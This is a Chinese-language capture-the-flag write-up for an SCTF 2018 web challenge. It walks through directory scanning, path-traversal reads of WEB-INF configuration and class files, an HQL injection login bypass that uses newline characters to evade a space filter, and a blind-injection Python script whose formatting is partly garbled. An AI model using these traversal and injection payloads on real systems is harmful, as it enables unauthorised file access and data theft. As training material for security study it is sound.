题目来源:XCTF 4th-SCTF-2018
题目描述:你只是在扫描目标端口的时候发现了一个开放的web服务
进入场景后是一个显示时间的页面
使用dirsearch扫描一下,发现隐藏目录list。命令:
python3 dirsearch.py -u http://220.249.52.133:43210/ -e *
访问list目录,发现是一个后台登录页面
抓包发现背景图片是从后台加载的一张图片
或者从网页源代码也可以看出
猜测这里可能有文件读取漏洞。
cookie中的JSESSIONID说明这是一个java web,那么我们尝试读取一下配置文件web.xml
浏览器输入
http://220.249.52.133:43210/loadimage?fileName=../../WEB-INF/web.xml
回车,下载下来一个bg.jpg,使用Notepad++打开,内容如下
Struts Blank
struts2
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter
struts2
/*
/ctfpage/index.jsp
404
/ctfpage/404.html
可以看到,系统使用了struts2框架。
struts.xml是struts2的核心配置文件,在开发过程中利用率最高。该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等。
下面我们读取struts.xml看看,浏览器输入
http://220.249.52.133:43210/loadimage?fileName=../../WEB-INF/classes/struts.xml
回车,下载下来一个bg.jpg,使用Notepad++打开,内容如下
/p>
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
/ctfpage/login.jsp
/ctfpage/welcome.jsp
image/jpeg
attachment;filename="bg.jpg"
downloadFile
/ctfpage/welcome.jsp
execute
/ctfpage/login.jsp
/ctfpage/welcome.jsp
/ctfpage/welcome.jsp
这里class里面可以看到很多class类名,尝试了一下,都可以逐个下载,点号换成正斜杠,然后再在后面加个.class就可以下载了
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
由于下载下来的class文件无法正常阅读,我们需要将其反编译成java源代码。
打开jd-gui工具,将class文件直接拖进去即可。
挨个查看了一下,没发现什么有用的信息,倒是UserLoginAction.class里面引入了3个其他的类,同样的办法继续下载
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class
依次打开后,我们在InitApplicationContext.class里找到了一个applicationContext.xml文件名。
下载
http://220.249.52.133:43210/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
内容如下
com.mysql.jdbc.Driver
jdbc:mysql://localhost:3306/sctf
user.hbm.xml
org.hibernate.dialect.MySQLDialect
true
PROPAGATION_REQUIRED
PROPAGATION_REQUIRED,readOnly
这里暴露了数据库的端口用户名密码,尝试远程连接数据库,失败。
我们发现这里还有一个user.hbm.xml以及很多class类名,那我们继续下载查看
loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
从UserServiceImpl.class里,我们可以看到,系统对用户名进行了过滤,过滤了空格和等号。
从UserDaoImpl.class里,我们可以看到查询语句,这里使用的sql语句与mysql不太一样,使用的是HSQL。
hsql参考这篇文章,与mysql语句差别不大,但是也是有区别的
可以尝试构造万能密码
from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'
黄色部分就是拼接的语句,由于这里过滤了空格,可以考虑用换行符%0A替代空格绕过过滤
payload:
用户名:admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
密码:123(随意)
登录成功,然而并没有找到flag。
再看一下之前下载的user.hbm.xml文件内容,发现了flag的映射类。
/p>
"-//Hibernate/Hibernate Mapping DTD 3.0//EN"
"http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
至此,我们知道,flag在数据库中。
由于万能密钥成功登录的原因是'1'>'0'恒成立,我们可以在此处写payload构造盲注语句,爆破flag。
官方wp如下
importrequests
s=requests.session()
flag=''
for i in range(1,50):
p=''
for j in range(1,255):
payload= "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)
#print payload
url="http://220.249.52.133:33772/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"r1=s.get(url)#print url
#print len(r1.text)
if len(r1.text)>20000 and p!='':
flag+=pprinti,flagbreakp=chr(j)
跑出来flag为:sctf{C46E250926A2DFFD831975396222B08E}
坦白说,这个脚本中payload的where id<2我不明白是什么意思,后来我尝试了一下,将payload中的where id<2删除后再爆破,发现也能成功。猜想Flag表中应该只有一个id列。
参考:https://www.cnblogs.com/mke2fs/p/11519039.html